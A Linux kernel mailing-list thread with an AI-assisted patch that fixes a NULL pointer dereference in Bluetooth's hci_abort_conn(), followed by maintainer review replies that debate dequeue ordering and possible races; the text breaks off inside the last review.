* [PATCH v3] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
@ 2026-06-11 15:19 Siwei Zhang
2026-06-11 15:36 ` Luiz Augusto von Dentz
` (3 more replies)
0 siblings, 4 replies; 10+ messages in thread
From: Siwei Zhang @ 2026-06-11 15:19 UTC (permalink / raw)
To: Luiz Augusto von Dentz; +Cc: linux-bluetooth, Siwei Zhang
hci_abort_conn() read hci_skb_event(hdev->sent_cmd) when a connection
was pending, but hdev->sent_cmd can be NULL while req_status is still
HCI_REQ_PEND, leading to a NULL pointer dereference and a general
protection fault from the hci_rx_work() receive path.
Instead of inspecting hdev->sent_cmd, track the in-flight create
connection command with a new per-connection HCI_CONN_CREATE flag and
route all cancellation through hci_cancel_connect_sync(), which dequeues
the command if still queued, or cancels the pending request if this
connection owns the in-flight create command. CIS uses the same path
via the existing HCI_CONN_CREATE_CIS flag.
Fixes: a13f316e90fd ("Bluetooth: hci_conn: Consolidate code for aborting connections")
Cc: stable@vger.kernel.org
Assisted-by: Claude:claude-opus-4-8
Signed-off-by: Siwei Zhang <oss@fourdim.xyz>
---
include/net/bluetooth/hci_core.h | 1 +
net/bluetooth/hci_conn.c | 21 ++--------
net/bluetooth/hci_sync.c | 66 ++++++++++++++++++++++++++------
3 files changed, 58 insertions(+), 30 deletions(-)
diff --git a/include/net/bluetooth/hci_core.h b/include/net/bluetooth/hci_core.h
index aa600fbf9a53..aa554c34f9ec 100644
--- a/include/net/bluetooth/hci_core.h
+++ b/include/net/bluetooth/hci_core.h
@@ -988,6 +988,7 @@ enum {
HCI_CONN_AUTH_FAILURE,
HCI_CONN_PER_ADV,
HCI_CONN_BIG_CREATED,
+ HCI_CONN_CREATE,
HCI_CONN_CREATE_CIS,
HCI_CONN_CREATE_BIG_SYNC,
HCI_CONN_BIG_SYNC,
diff --git a/net/bluetooth/hci_conn.c b/net/bluetooth/hci_conn.c
index 54eabaa46960..eba4a548bef5 100644
--- a/net/bluetooth/hci_conn.c
+++ b/net/bluetooth/hci_conn.c
@@ -3181,26 +3181,11 @@ int hci_abort_conn(struct hci_conn *conn, u8 reason)
conn->abort_reason = reason;
- /* If the connection is pending check the command opcode since that
- * might be blocking on hci_cmd_sync_work while waiting its respective
- * event so we need to hci_cmd_sync_cancel to cancel it.
- *
- * hci_connect_le serializes the connection attempts so only one
- * connection can be in BT_CONNECT at time.
+ /* Cancel the connect attempt. A return of 0 means the create command
+ * was still queued and got dequeued, so there is nothing to disconnect.
*/
- if (conn->state == BT_CONNECT && READ_ONCE(hdev->req_status) == HCI_REQ_PEND) {
- switch (hci_skb_event(hdev->sent_cmd)) {
- case HCI_EV_CONN_COMPLETE:
- case HCI_EV_LE_CONN_COMPLETE:
- case HCI_EV_LE_ENHANCED_CONN_COMPLETE:
- case HCI_EVT_LE_CIS_ESTABLISHED:
- hci_cmd_sync_cancel(hdev, ECANCELED);
- break;
- }
- /* Cancel connect attempt if still queued/pending */
- } else if (!hci_cancel_connect_sync(hdev, conn)) {
+ if (!hci_cancel_connect_sync(hdev, conn))
return 0;
- }
/* Run immediately if on cmd_sync_work since this may be called
* as a result to MGMT_OP_DISCONNECT/MGMT_OP_UNPAIR which does
diff --git a/net/bluetooth/hci_sync.c b/net/bluetooth/hci_sync.c
index df23245d6ccd..1fe19ddbbc2c 100644
--- a/net/bluetooth/hci_sync.c
+++ b/net/bluetooth/hci_sync.c
@@ -6668,6 +6668,12 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
&own_addr_type);
if (err)
goto done;
+
+ /* Mark create connection in flight so hci_cancel_connect_sync() can
+ * cancel it while blocking on the connection complete event.
+ */
+ set_bit(HCI_CONN_CREATE, &conn->flags);
+
/* Send command LE Extended Create Connection if supported */
if (use_ext_conn(hdev)) {
err = hci_le_ext_create_conn_sync(hdev, conn, own_addr_type);
@@ -6703,6 +6709,8 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
conn->conn_timeout, NULL);
done:
+ clear_bit(HCI_CONN_CREATE, &conn->flags);
+
if (err == -ETIMEDOUT)
hci_le_connect_cancel_sync(hdev, conn, 0x00);
@@ -6982,10 +6990,19 @@ static int hci_acl_create_conn_sync(struct hci_dev *hdev, void *data)
else
cp.role_switch = 0x00;
- return __hci_cmd_sync_status_sk(hdev, HCI_OP_CREATE_CONN,
- sizeof(cp), &cp,
- HCI_EV_CONN_COMPLETE,
- conn->conn_timeout, NULL);
+ /* Mark create connection in flight so hci_cancel_connect_sync() can
+ * cancel it while blocking on the connection complete event.
+ */
+ set_bit(HCI_CONN_CREATE, &conn->flags);
+
+ err = __hci_cmd_sync_status_sk(hdev, HCI_OP_CREATE_CONN,
+ sizeof(cp), &cp,
+ HCI_EV_CONN_COMPLETE,
+ conn->conn_timeout, NULL);
+
+ clear_bit(HCI_CONN_CREATE, &conn->flags);
+
+ return err;
}
int hci_connect_acl_sync(struct hci_dev *hdev, struct hci_conn *conn)
@@ -7039,20 +7056,45 @@ int hci_connect_le_sync(struct hci_dev *hdev, struct hci_conn *conn)
int hci_cancel_connect_sync(struct hci_dev *hdev, struct hci_conn *conn)
{
- if (conn->state != BT_OPEN)
- return -EINVAL;
+ hci_cmd_sync_work_func_t func = NULL;
+ hci_cmd_sync_work_destroy_t destroy = NULL;
+ int create_flag = -1;
switch (conn->type) {
case ACL_LINK:
- return !hci_cmd_sync_dequeue_once(hdev,
- hci_acl_create_conn_sync,
- conn, NULL);
+ func = hci_acl_create_conn_sync;
+ create_flag = HCI_CONN_CREATE;
+ break;
case LE_LINK:
- return !hci_cmd_sync_dequeue_once(hdev, hci_le_create_conn_sync,
- conn, create_le_conn_complete);
+ func = hci_le_create_conn_sync;
+ destroy = create_le_conn_complete;
+ create_flag = HCI_CONN_CREATE;
+ break;
+ case CIS_LINK:
+ /* LE Create CIS is shared by the whole CIG and cannot be
+ * dequeued per-connection; only cancel it in-flight below.
+ */
+ create_flag = HCI_CONN_CREATE_CIS;
+ break;
+ default:
+ return -ENOENT;
}
- return -ENOENT;
+ /* The create command is in exactly one of two states: still queued, or
+ * in flight. The create flag is only set once the worker has dequeued
+ * the entry and started running it, so the two states are mutually
+ * exclusive. Try to dequeue first: if it succeeds the command had not
+ * started yet and we are done. Otherwise the worker already pulled it
+ * off the queue (the dequeue is a no-op here), so if this connection
+ * owns the in-flight create command, cancel the pending request.
+ */
+ if (func && hci_cmd_sync_dequeue_once(hdev, func, conn, destroy))
+ return 0;
+
+ if (create_flag >= 0 && test_bit(create_flag, &conn->flags))
+ hci_cmd_sync_cancel(hdev, ECANCELED);
+
+ return -EBUSY;
}
int hci_le_conn_update_sync(struct hci_dev *hdev, struct hci_conn *conn,
--
2.54.0
^ permalink raw reply related [flat|nested] 10+ messages in thread
* Re: [PATCH v3] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
2026-06-11 15:19 [PATCH v3] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn() Siwei Zhang
@ 2026-06-11 15:36 ` Luiz Augusto von Dentz
2026-06-11 15:51 ` Siwei Zhang
2026-06-11 16:05 ` Pauli Virtanen
` (2 subsequent siblings)
3 siblings, 1 reply; 10+ messages in thread
From: Luiz Augusto von Dentz @ 2026-06-11 15:36 UTC (permalink / raw)
To: Siwei Zhang; +Cc: linux-bluetooth
Hi Siwei,
On Thu, Jun 11, 2026 at 11:20 AM Siwei Zhang <oss@fourdim.xyz> wrote:
>
> hci_abort_conn() read hci_skb_event(hdev->sent_cmd) when a connection
> was pending, but hdev->sent_cmd can be NULL while req_status is still
> HCI_REQ_PEND, leading to a NULL pointer dereference and a general
> protection fault from the hci_rx_work() receive path.
>
> Instead of inspecting hdev->sent_cmd, track the in-flight create
> connection command with a new per-connection HCI_CONN_CREATE flag and
> route all cancellation through hci_cancel_connect_sync(), which dequeues
> the command if still queued, or cancels the pending request if this
> connection owns the in-flight create command. CIS uses the same path
> via the existing HCI_CONN_CREATE_CIS flag.
>
> Fixes: a13f316e90fd ("Bluetooth: hci_conn: Consolidate code for aborting connections")
> Cc: stable@vger.kernel.org
> Assisted-by: Claude:claude-opus-4-8
> Signed-off-by: Siwei Zhang <oss@fourdim.xyz>
> ---
> include/net/bluetooth/hci_core.h | 1 +
> net/bluetooth/hci_conn.c | 21 ++--------
> net/bluetooth/hci_sync.c | 66 ++++++++++++++++++++++++++------
> 3 files changed, 58 insertions(+), 30 deletions(-)
>
> diff --git a/include/net/bluetooth/hci_core.h b/include/net/bluetooth/hci_core.h
> index aa600fbf9a53..aa554c34f9ec 100644
> --- a/include/net/bluetooth/hci_core.h
> +++ b/include/net/bluetooth/hci_core.h
> @@ -988,6 +988,7 @@ enum {
> HCI_CONN_AUTH_FAILURE,
> HCI_CONN_PER_ADV,
> HCI_CONN_BIG_CREATED,
> + HCI_CONN_CREATE,
> HCI_CONN_CREATE_CIS,
> HCI_CONN_CREATE_BIG_SYNC,
> HCI_CONN_BIG_SYNC,
> diff --git a/net/bluetooth/hci_conn.c b/net/bluetooth/hci_conn.c
> index 54eabaa46960..eba4a548bef5 100644
> --- a/net/bluetooth/hci_conn.c
> +++ b/net/bluetooth/hci_conn.c
> @@ -3181,26 +3181,11 @@ int hci_abort_conn(struct hci_conn *conn, u8 reason)
>
> conn->abort_reason = reason;
>
> - /* If the connection is pending check the command opcode since that
> - * might be blocking on hci_cmd_sync_work while waiting its respective
> - * event so we need to hci_cmd_sync_cancel to cancel it.
> - *
> - * hci_connect_le serializes the connection attempts so only one
> - * connection can be in BT_CONNECT at time.
> + /* Cancel the connect attempt. A return of 0 means the create command
> + * was still queued and got dequeued, so there is nothing to disconnect.
> */
> - if (conn->state == BT_CONNECT && READ_ONCE(hdev->req_status) == HCI_REQ_PEND) {
> - switch (hci_skb_event(hdev->sent_cmd)) {
> - case HCI_EV_CONN_COMPLETE:
> - case HCI_EV_LE_CONN_COMPLETE:
> - case HCI_EV_LE_ENHANCED_CONN_COMPLETE:
> - case HCI_EVT_LE_CIS_ESTABLISHED:
> - hci_cmd_sync_cancel(hdev, ECANCELED);
> - break;
> - }
> - /* Cancel connect attempt if still queued/pending */
> - } else if (!hci_cancel_connect_sync(hdev, conn)) {
> + if (!hci_cancel_connect_sync(hdev, conn))
> return 0;
> - }
>
> /* Run immediately if on cmd_sync_work since this may be called
> * as a result to MGMT_OP_DISCONNECT/MGMT_OP_UNPAIR which does
> diff --git a/net/bluetooth/hci_sync.c b/net/bluetooth/hci_sync.c
> index df23245d6ccd..1fe19ddbbc2c 100644
> --- a/net/bluetooth/hci_sync.c
> +++ b/net/bluetooth/hci_sync.c
> @@ -6668,6 +6668,12 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
> &own_addr_type);
> if (err)
> goto done;
> +
> + /* Mark create connection in flight so hci_cancel_connect_sync() can
> + * cancel it while blocking on the connection complete event.
> + */
> + set_bit(HCI_CONN_CREATE, &conn->flags);
> +
> /* Send command LE Extended Create Connection if supported */
> if (use_ext_conn(hdev)) {
> err = hci_le_ext_create_conn_sync(hdev, conn, own_addr_type);
> @@ -6703,6 +6709,8 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
> conn->conn_timeout, NULL);
>
> done:
> + clear_bit(HCI_CONN_CREATE, &conn->flags);
> +
> if (err == -ETIMEDOUT)
> hci_le_connect_cancel_sync(hdev, conn, 0x00);
>
> @@ -6982,10 +6990,19 @@ static int hci_acl_create_conn_sync(struct hci_dev *hdev, void *data)
> else
> cp.role_switch = 0x00;
>
> - return __hci_cmd_sync_status_sk(hdev, HCI_OP_CREATE_CONN,
> - sizeof(cp), &cp,
> - HCI_EV_CONN_COMPLETE,
> - conn->conn_timeout, NULL);
> + /* Mark create connection in flight so hci_cancel_connect_sync() can
> + * cancel it while blocking on the connection complete event.
> + */
> + set_bit(HCI_CONN_CREATE, &conn->flags);
> +
> + err = __hci_cmd_sync_status_sk(hdev, HCI_OP_CREATE_CONN,
> + sizeof(cp), &cp,
> + HCI_EV_CONN_COMPLETE,
> + conn->conn_timeout, NULL);
> +
> + clear_bit(HCI_CONN_CREATE, &conn->flags);
> +
> + return err;
> }
>
> int hci_connect_acl_sync(struct hci_dev *hdev, struct hci_conn *conn)
> @@ -7039,20 +7056,45 @@ int hci_connect_le_sync(struct hci_dev *hdev, struct hci_conn *conn)
>
> int hci_cancel_connect_sync(struct hci_dev *hdev, struct hci_conn *conn)
> {
> - if (conn->state != BT_OPEN)
> - return -EINVAL;
> + hci_cmd_sync_work_func_t func = NULL;
> + hci_cmd_sync_work_destroy_t destroy = NULL;
> + int create_flag = -1;
>
> switch (conn->type) {
> case ACL_LINK:
> - return !hci_cmd_sync_dequeue_once(hdev,
> - hci_acl_create_conn_sync,
> - conn, NULL);
> + func = hci_acl_create_conn_sync;
> + create_flag = HCI_CONN_CREATE;
> + break;
> case LE_LINK:
> - return !hci_cmd_sync_dequeue_once(hdev, hci_le_create_conn_sync,
> - conn, create_le_conn_complete);
> + func = hci_le_create_conn_sync;
> + destroy = create_le_conn_complete;
> + create_flag = HCI_CONN_CREATE;
> + break;
> + case CIS_LINK:
> + /* LE Create CIS is shared by the whole CIG and cannot be
> + * dequeued per-connection; only cancel it in-flight below.
> + */
> + create_flag = HCI_CONN_CREATE_CIS;
> + break;
> + default:
> + return -ENOENT;
> }
>
> - return -ENOENT;
> + /* The create command is in exactly one of two states: still queued, or
> + * in flight. The create flag is only set once the worker has dequeued
> + * the entry and started running it, so the two states are mutually
> + * exclusive. Try to dequeue first: if it succeeds the command had not
> + * started yet and we are done. Otherwise the worker already pulled it
> + * off the queue (the dequeue is a no-op here),
This is where I disagree, `dequeue` is not a no-op. It must traverse
the list of entries in cmd_sync_work_list, so it is cheaper to check
the flag first and then attempt to dequeue.
> + * owns the in-flight create command, cancel the pending request.
> + */
> + if (func && hci_cmd_sync_dequeue_once(hdev, func, conn, destroy))
> + return 0;
> +
> + if (create_flag >= 0 && test_bit(create_flag, &conn->flags))
> + hci_cmd_sync_cancel(hdev, ECANCELED);
> +
> + return -EBUSY;
> }
>
> int hci_le_conn_update_sync(struct hci_dev *hdev, struct hci_conn *conn,
> --
> 2.54.0
>
--
Luiz Augusto von Dentz
^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH v3] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
2026-06-11 15:36 ` Luiz Augusto von Dentz
@ 2026-06-11 15:51 ` Siwei Zhang
2026-06-11 16:07 ` Luiz Augusto von Dentz
0 siblings, 1 reply; 10+ messages in thread
From: Siwei Zhang @ 2026-06-11 15:51 UTC (permalink / raw)
To: Luiz Augusto von Dentz; +Cc: linux-bluetooth
Hi Luiz,
On Thu, Jun 11, 2026, at 11:36 AM, Luiz Augusto von Dentz wrote:
> Hi Siwei,
>
> On Thu, Jun 11, 2026 at 11:20 AM Siwei Zhang <oss@fourdim.xyz> wrote:
>>
>> hci_abort_conn() read hci_skb_event(hdev->sent_cmd) when a connection
>> was pending, but hdev->sent_cmd can be NULL while req_status is still
>> HCI_REQ_PEND, leading to a NULL pointer dereference and a general
>> protection fault from the hci_rx_work() receive path.
>>
>> Instead of inspecting hdev->sent_cmd, track the in-flight create
>> connection command with a new per-connection HCI_CONN_CREATE flag and
>> route all cancellation through hci_cancel_connect_sync(), which dequeues
>> the command if still queued, or cancels the pending request if this
>> connection owns the in-flight create command. CIS uses the same path
>> via the existing HCI_CONN_CREATE_CIS flag.
>>
>> Fixes: a13f316e90fd ("Bluetooth: hci_conn: Consolidate code for aborting connections")
>> Cc: stable@vger.kernel.org
>> Assisted-by: Claude:claude-opus-4-8
>> Signed-off-by: Siwei Zhang <oss@fourdim.xyz>
>> ---
>> include/net/bluetooth/hci_core.h | 1 +
>> net/bluetooth/hci_conn.c | 21 ++--------
>> net/bluetooth/hci_sync.c | 66 ++++++++++++++++++++++++++------
>> 3 files changed, 58 insertions(+), 30 deletions(-)
>>
>> diff --git a/include/net/bluetooth/hci_core.h b/include/net/bluetooth/hci_core.h
>> index aa600fbf9a53..aa554c34f9ec 100644
>> --- a/include/net/bluetooth/hci_core.h
>> +++ b/include/net/bluetooth/hci_core.h
>> @@ -988,6 +988,7 @@ enum {
>> HCI_CONN_AUTH_FAILURE,
>> HCI_CONN_PER_ADV,
>> HCI_CONN_BIG_CREATED,
>> + HCI_CONN_CREATE,
>> HCI_CONN_CREATE_CIS,
>> HCI_CONN_CREATE_BIG_SYNC,
>> HCI_CONN_BIG_SYNC,
>> diff --git a/net/bluetooth/hci_conn.c b/net/bluetooth/hci_conn.c
>> index 54eabaa46960..eba4a548bef5 100644
>> --- a/net/bluetooth/hci_conn.c
>> +++ b/net/bluetooth/hci_conn.c
>> @@ -3181,26 +3181,11 @@ int hci_abort_conn(struct hci_conn *conn, u8 reason)
>>
>> conn->abort_reason = reason;
>>
>> - /* If the connection is pending check the command opcode since that
>> - * might be blocking on hci_cmd_sync_work while waiting its respective
>> - * event so we need to hci_cmd_sync_cancel to cancel it.
>> - *
>> - * hci_connect_le serializes the connection attempts so only one
>> - * connection can be in BT_CONNECT at time.
>> + /* Cancel the connect attempt. A return of 0 means the create command
>> + * was still queued and got dequeued, so there is nothing to disconnect.
>> */
>> - if (conn->state == BT_CONNECT && READ_ONCE(hdev->req_status) == HCI_REQ_PEND) {
>> - switch (hci_skb_event(hdev->sent_cmd)) {
>> - case HCI_EV_CONN_COMPLETE:
>> - case HCI_EV_LE_CONN_COMPLETE:
>> - case HCI_EV_LE_ENHANCED_CONN_COMPLETE:
>> - case HCI_EVT_LE_CIS_ESTABLISHED:
>> - hci_cmd_sync_cancel(hdev, ECANCELED);
>> - break;
>> - }
>> - /* Cancel connect attempt if still queued/pending */
>> - } else if (!hci_cancel_connect_sync(hdev, conn)) {
>> + if (!hci_cancel_connect_sync(hdev, conn))
>> return 0;
>> - }
>>
>> /* Run immediately if on cmd_sync_work since this may be called
>> * as a result to MGMT_OP_DISCONNECT/MGMT_OP_UNPAIR which does
>> diff --git a/net/bluetooth/hci_sync.c b/net/bluetooth/hci_sync.c
>> index df23245d6ccd..1fe19ddbbc2c 100644
>> --- a/net/bluetooth/hci_sync.c
>> +++ b/net/bluetooth/hci_sync.c
>> @@ -6668,6 +6668,12 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
>> &own_addr_type);
>> if (err)
>> goto done;
>> +
>> + /* Mark create connection in flight so hci_cancel_connect_sync() can
>> + * cancel it while blocking on the connection complete event.
>> + */
>> + set_bit(HCI_CONN_CREATE, &conn->flags);
>> +
>> /* Send command LE Extended Create Connection if supported */
>> if (use_ext_conn(hdev)) {
>> err = hci_le_ext_create_conn_sync(hdev, conn, own_addr_type);
>> @@ -6703,6 +6709,8 @@ static int hci_le_create_conn_sync(struct hci_dev *hdev, void *data)
>> conn->conn_timeout, NULL);
>>
>> done:
>> + clear_bit(HCI_CONN_CREATE, &conn->flags);
>> +
>> if (err == -ETIMEDOUT)
>> hci_le_connect_cancel_sync(hdev, conn, 0x00);
>>
>> @@ -6982,10 +6990,19 @@ static int hci_acl_create_conn_sync(struct hci_dev *hdev, void *data)
>> else
>> cp.role_switch = 0x00;
>>
>> - return __hci_cmd_sync_status_sk(hdev, HCI_OP_CREATE_CONN,
>> - sizeof(cp), &cp,
>> - HCI_EV_CONN_COMPLETE,
>> - conn->conn_timeout, NULL);
>> + /* Mark create connection in flight so hci_cancel_connect_sync() can
>> + * cancel it while blocking on the connection complete event.
>> + */
>> + set_bit(HCI_CONN_CREATE, &conn->flags);
>> +
>> + err = __hci_cmd_sync_status_sk(hdev, HCI_OP_CREATE_CONN,
>> + sizeof(cp), &cp,
>> + HCI_EV_CONN_COMPLETE,
>> + conn->conn_timeout, NULL);
>> +
>> + clear_bit(HCI_CONN_CREATE, &conn->flags);
>> +
>> + return err;
>> }
>>
>> int hci_connect_acl_sync(struct hci_dev *hdev, struct hci_conn *conn)
>> @@ -7039,20 +7056,45 @@ int hci_connect_le_sync(struct hci_dev *hdev, struct hci_conn *conn)
>>
>> int hci_cancel_connect_sync(struct hci_dev *hdev, struct hci_conn *conn)
>> {
>> - if (conn->state != BT_OPEN)
>> - return -EINVAL;
>> + hci_cmd_sync_work_func_t func = NULL;
>> + hci_cmd_sync_work_destroy_t destroy = NULL;
>> + int create_flag = -1;
>>
>> switch (conn->type) {
>> case ACL_LINK:
>> - return !hci_cmd_sync_dequeue_once(hdev,
>> - hci_acl_create_conn_sync,
>> - conn, NULL);
>> + func = hci_acl_create_conn_sync;
>> + create_flag = HCI_CONN_CREATE;
>> + break;
>> case LE_LINK:
>> - return !hci_cmd_sync_dequeue_once(hdev, hci_le_create_conn_sync,
>> - conn, create_le_conn_complete);
>> + func = hci_le_create_conn_sync;
>> + destroy = create_le_conn_complete;
>> + create_flag = HCI_CONN_CREATE;
>> + break;
>> + case CIS_LINK:
>> + /* LE Create CIS is shared by the whole CIG and cannot be
>> + * dequeued per-connection; only cancel it in-flight below.
>> + */
>> + create_flag = HCI_CONN_CREATE_CIS;
>> + break;
>> + default:
>> + return -ENOENT;
>> }
>>
>> - return -ENOENT;
>> + /* The create command is in exactly one of two states: still queued, or
>> + * in flight. The create flag is only set once the worker has dequeued
>> + * the entry and started running it, so the two states are mutually
>> + * exclusive. Try to dequeue first: if it succeeds the command had not
>> + * started yet and we are done. Otherwise the worker already pulled it
>> + * off the queue (the dequeue is a no-op here),
>
> This is where I disagree, `dequeue` is not a no-op. It must traverse
> the list of entries in cmd_sync_work_list, so it is cheaper to check
> the flag first and then attempt to dequeue.
>
If we test the flag first and read 0 while the entry is still queued, the worker
can advance it to in-flight before our dequeue runs.
In that case we will return without cancelling.
I can update the comment saying that it has no effect instead of no-op.
>> + * owns the in-flight create command, cancel the pending request.
>> + */
>> + if (func && hci_cmd_sync_dequeue_once(hdev, func, conn, destroy))
>> + return 0;
>> +
>> + if (create_flag >= 0 && test_bit(create_flag, &conn->flags))
>> + hci_cmd_sync_cancel(hdev, ECANCELED);
>> +
>> + return -EBUSY;
>> }
>>
>> int hci_le_conn_update_sync(struct hci_dev *hdev, struct hci_conn *conn,
>> --
>> 2.54.0
>>
>
>
> --
> Luiz Augusto von Dentz
Best,
Siwei
^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH v3] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn()
2026-06-11 15:19 [PATCH v3] Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn() Siwei Zhang
2026-06-11 15:36 ` Luiz Augusto von Dentz
@ 2026-06-11 16:05 ` Pauli Virtanen
2026-06-11 19:20 ` [v3] " bluez.test.bot
2026-06-13 10:40 ` [PATCH v3] " XIAO WU
3 siblings, 0 replies; 10+ messages in thread
From: Pauli Virtanen @ 2026-06-11 16:05 UTC (permalink / raw)
To: Siwei Zhang, Luiz Augusto von Dentz; +Cc: linux-bluetooth
Hi,
to, 2026-06-11 kello 11:19 -0400, Siwei Zhang kirjoitti:
> hci_abort_conn() read hci_skb_event(hdev->sent_cmd) when a connection
> was pending, but hdev->sent_cmd can be NULL while req_status is still
> HCI_REQ_PEND, leading to a NULL pointer dereference and a general
> protection fault from the hci_rx_work() receive path.
>
> Instead of inspecting hdev->sent_cmd, track the in-flight create
> connection command with a new per-connection HCI_CONN_CREATE flag and
> route all cancellation through hci_cancel_connect_sync(), which
> dequeues
> the command if still queued, or cancels the pending request if this
> connection owns the in-flight create command. CIS uses the same path
> via the existing HCI_CONN_CREATE_CIS flag.
>
> Fixes: a13f316e90fd ("Bluetooth: hci_conn: Consolidate code for
> aborting connections")
> Cc: stable@vger.kernel.org
> Assisted-by: Claude:claude-opus-4-8
> Signed-off-by: Siwei Zhang <oss@fourdim.xyz>
> ---
> include/net/bluetooth/hci_core.h | 1 +
> net/bluetooth/hci_conn.c | 21 ++--------
> net/bluetooth/hci_sync.c | 66 ++++++++++++++++++++++++++----
> --
> 3 files changed, 58 insertions(+), 30 deletions(-)
>
> diff --git a/include/net/bluetooth/hci_core.h
> b/include/net/bluetooth/hci_core.h
> index aa600fbf9a53..aa554c34f9ec 100644
> --- a/include/net/bluetooth/hci_core.h
> +++ b/include/net/bluetooth/hci_core.h
> @@ -988,6 +988,7 @@ enum {
> HCI_CONN_AUTH_FAILURE,
> HCI_CONN_PER_ADV,
> HCI_CONN_BIG_CREATED,
> + HCI_CONN_CREATE,
> HCI_CONN_CREATE_CIS,
> HCI_CONN_CREATE_BIG_SYNC,
> HCI_CONN_BIG_SYNC,
> diff --git a/net/bluetooth/hci_conn.c b/net/bluetooth/hci_conn.c
> index 54eabaa46960..eba4a548bef5 100644
> --- a/net/bluetooth/hci_conn.c
> +++ b/net/bluetooth/hci_conn.c
> @@ -3181,26 +3181,11 @@ int hci_abort_conn(struct hci_conn *conn, u8
> reason)
>
> conn->abort_reason = reason;
>
> - /* If the connection is pending check the command opcode
> since that
> - * might be blocking on hci_cmd_sync_work while waiting its
> respective
> - * event so we need to hci_cmd_sync_cancel to cancel it.
> - *
> - * hci_connect_le serializes the connection attempts so only
> one
> - * connection can be in BT_CONNECT at time.
> + /* Cancel the connect attempt. A return of 0 means the
> create command
> + * was still queued and got dequeued, so there is nothing to
> disconnect.
> */
> - if (conn->state == BT_CONNECT && READ_ONCE(hdev->req_status)
> == HCI_REQ_PEND) {
> - switch (hci_skb_event(hdev->sent_cmd)) {
> - case HCI_EV_CONN_COMPLETE:
> - case HCI_EV_LE_CONN_COMPLETE:
> - case HCI_EV_LE_ENHANCED_CONN_COMPLETE:
> - case HCI_EVT_LE_CIS_ESTABLISHED:
> - hci_cmd_sync_cancel(hdev, ECANCELED);
> - break;
> - }
> - /* Cancel connect attempt if still queued/pending */
> - } else if (!hci_cancel_connect_sync(hdev, conn)) {
> + if (!hci_cancel_connect_sync(hdev, conn))
> return 0;
> - }
>
> /* Run immediately if on cmd_sync_work since this may be
> called
> * as a result to MGMT_OP_DISCONNECT/MGMT_OP_UNPAIR which
> does
> diff --git a/net/bluetooth/hci_sync.c b/net/bluetooth/hci_sync.c
> index df23245d6ccd..1fe19ddbbc2c 100644
> --- a/net/bluetooth/hci_sync.c
> +++ b/net/bluetooth/hci_sync.c
> @@ -6668,6 +6668,12 @@ static int hci_le_create_conn_sync(struct
> hci_dev *hdev, void *data)
> &own_addr_type);
> if (err)
> goto done;
> +
> + /* Mark create connection in flight so
> hci_cancel_connect_sync() can
> + * cancel it while blocking on the connection complete
> event.
> + */
> + set_bit(HCI_CONN_CREATE, &conn->flags);
> +
> /* Send command LE Extended Create Connection if supported
> */
> if (use_ext_conn(hdev)) {
> err = hci_le_ext_create_conn_sync(hdev, conn,
> own_addr_type);
> @@ -6703,6 +6709,8 @@ static int hci_le_create_conn_sync(struct
> hci_dev *hdev, void *data)
> conn->conn_timeout, NULL);
>
> done:
> + clear_bit(HCI_CONN_CREATE, &conn->flags);
> +
> if (err == -ETIMEDOUT)
> hci_le_connect_cancel_sync(hdev, conn, 0x00);
>
> @@ -6982,10 +6990,19 @@ static int hci_acl_create_conn_sync(struct
> hci_dev *hdev, void *data)
> else
> cp.role_switch = 0x00;
>
> - return __hci_cmd_sync_status_sk(hdev, HCI_OP_CREATE_CONN,
> - sizeof(cp), &cp,
> - HCI_EV_CONN_COMPLETE,
> - conn->conn_timeout, NULL);
> + /* Mark create connection in flight so
> hci_cancel_connect_sync() can
> + * cancel it while blocking on the connection complete
> event.
> + */
> + set_bit(HCI_CONN_CREATE, &conn->flags);
> +
> + err = __hci_cmd_sync_status_sk(hdev, HCI_OP_CREATE_CONN,
> + sizeof(cp), &cp,
> + HCI_EV_CONN_COMPLETE,
> + conn->conn_timeout, NULL);
> +
> + clear_bit(HCI_CONN_CREATE, &conn->flags);
> +
> + return err;
> }
>
> int hci_connect_acl_sync(struct hci_dev *hdev, struct hci_conn
> *conn)
> @@ -7039,20 +7056,45 @@ int hci_connect_le_sync(struct hci_dev *hdev,
> struct hci_conn *conn)
>
> int hci_cancel_connect_sync(struct hci_dev *hdev, struct hci_conn
> *conn)
> {
> - if (conn->state != BT_OPEN)
> - return -EINVAL;
> + hci_cmd_sync_work_func_t func = NULL;
> + hci_cmd_sync_work_destroy_t destroy = NULL;
> + int create_flag = -1;
>
> switch (conn->type) {
> case ACL_LINK:
> - return !hci_cmd_sync_dequeue_once(hdev,
> -
> hci_acl_create_conn_sync,
> - conn, NULL);
> + func = hci_acl_create_conn_sync;
> + create_flag = HCI_CONN_CREATE;
> + break;
> case LE_LINK:
> - return !hci_cmd_sync_dequeue_once(hdev,
> hci_le_create_conn_sync,
> - conn,
> create_le_conn_complete);
> + func = hci_le_create_conn_sync;
> + destroy = create_le_conn_complete;
> + create_flag = HCI_CONN_CREATE;
> + break;
> + case CIS_LINK:
> + /* LE Create CIS is shared by the whole CIG and
> cannot be
> + * dequeued per-connection; only cancel it in-flight
> below.
> + */
> + create_flag = HCI_CONN_CREATE_CIS;
> + break;
> + default:
> + return -ENOENT;
> }
>
> - return -ENOENT;
> + /* The create command is in exactly one of two states: still
> queued, or
> + * in flight. The create flag is only set once the worker
> has dequeued
> + * the entry and started running it, so the two states are
> mutually
> + * exclusive. Try to dequeue first: if it succeeds the
> command had not
> + * started yet and we are done. Otherwise the worker already
> pulled it
> + * off the queue (the dequeue is a no-op here), so if this
> connection
> + * owns the in-flight create command, cancel the pending
> request.
This may run from context with no synchronization (kernel default event
workqueue), the tests below don't run in a critical section, so not
clear the reasoning is strictly valid.
Eg. hci_cmd_sync_cancel() could cancel unintended command if hci_sync
finished just after we test_bit here.
> + */
> + if (func && hci_cmd_sync_dequeue_once(hdev, func, conn,
> destroy))
> + return 0;
> +
> + if (create_flag >= 0 && test_bit(create_flag, &conn->flags))
